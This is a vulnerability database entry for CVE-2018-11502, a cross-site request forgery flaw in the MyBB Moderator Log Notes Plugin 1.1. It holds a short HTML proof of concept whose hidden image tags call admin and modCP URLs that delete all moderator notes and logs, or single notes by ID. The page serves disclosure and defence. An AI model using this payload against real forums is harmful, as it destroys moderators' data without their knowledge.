MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery

🗓️ 20 Aug 2018 00:00:00Reported by 0xB9Type

MyBB Plugin 1.1 is vulnerable to Cross-Site Request Forgery, enabling remote deletion of notes.

Reporter	Title	Published	Views	Family All 6
CNVD	MyBB Moderator Log Notes Plugin Cross-Site Request Forgery Vulnerability	27 Aug 201800:00	–	cnvd
CVE	CVE-2018-11502	24 Aug 201821:00	–	cve
Cvelist	CVE-2018-11502	24 Aug 201821:00	–	cvelist
EUVD	EUVD-2018-3531	7 Oct 202500:30	–	euvd
NVD	CVE-2018-11502	24 Aug 201821:29	–	nvd
Prion	Cross site request forgery (csrf)	24 Aug 201821:29	–	prion

# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs
# in the modCP & ACP.

# 2. Proof of Concept:

<html>
	<body>
		<-- Deletes mod note logs -->
		<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
		<-- Deletes mod notes -->
		<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">

		<!-- You can also delete notes individually by the nid (note ID)
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
		-->
	</body>
</html>

27 Aug 2018 00:00Current

6.4Medium risk

Vulners AI Score6.4

CVSS 25.8

CVSS 36.5

EPSS0.01915